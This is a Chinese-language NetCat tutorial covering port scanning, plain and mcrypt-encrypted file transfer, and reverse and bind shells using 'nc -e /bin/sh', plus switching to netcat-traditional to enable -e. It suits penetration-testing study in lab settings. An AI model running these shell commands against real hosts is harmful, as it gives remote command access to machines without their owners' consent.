NetCat是一个通过TCP/UDP在网络中进行读写数据工具,被行内称为“瑞士军刀”,主要用于调试领域、传输领域以及黑客攻击领域。利用该工具可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。
扫描指定端口: nc -nvz 192.168.47.149 80
扫描指定范围端口: nc -nvz 192.168.47.149 80-90
服务端: nc -lp 4444 > result.txt
客户端: nc 192.168.47.134 4444 < result.txt
服务端按ctrl+c
, 随后查看传送过来的result.txt文件
服务端: nc -lp 4444 < result.txt
客户端: nc -n 192.168.47.134 > result.txt
在客户端查看传送过来的result.txt文件
由于LINUX系统默认没有安装mcrypt库, 需先安装: apt-get install mcrypt
服务端: nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb -k 123456 > result.txt
客户端: mcrypt --flush -Fbq -a rijndael-256 -m ecb -k 123456 < result.txt | nc -nv 192.168.47.134 4444 -q 1
-k: 指定加密时所用到的密码, 若不指定, 输入回车时需要输入加密密码
如下图所示, 目标主机反向连接攻击机的4444端口, -e选项将Bash Shell发送给攻击机, 若目标主机为windows, 需设置成-e cmd
先在攻击机开启监听4444端口: nc -lvp 4444
在目标主机反弹Shell: nc 192.168.47.134 4444 -e /bin/sh
再返回攻击机查看反弹回来的shell, 并输入ifconfig
命令进行测试
先在目标主机创建监听, 并把一个bash shell绑定到4444端口
nc -lvp 4444 -e /bin/sh
在攻击机连接目标主机的4444端口,以此来接收反弹的shell, 并输入ifconfig
命令测试
nc 192.168.47.151
由于很多Linux默认安装的是netcat-openbsd(老版本), 而NetCat老版本是无法使用-e参数的, 于是需要对其更新成netcat-traditional版本
1.安装 netcat-traditional
apt-get -y install netcat-traditional
2.配置netcat版本, 随后选择版本为traditional的编号并按回车键
update-alternatives --config nc